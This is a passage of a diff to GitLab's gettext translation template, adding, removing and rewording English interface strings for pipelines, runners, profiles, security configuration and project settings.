msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
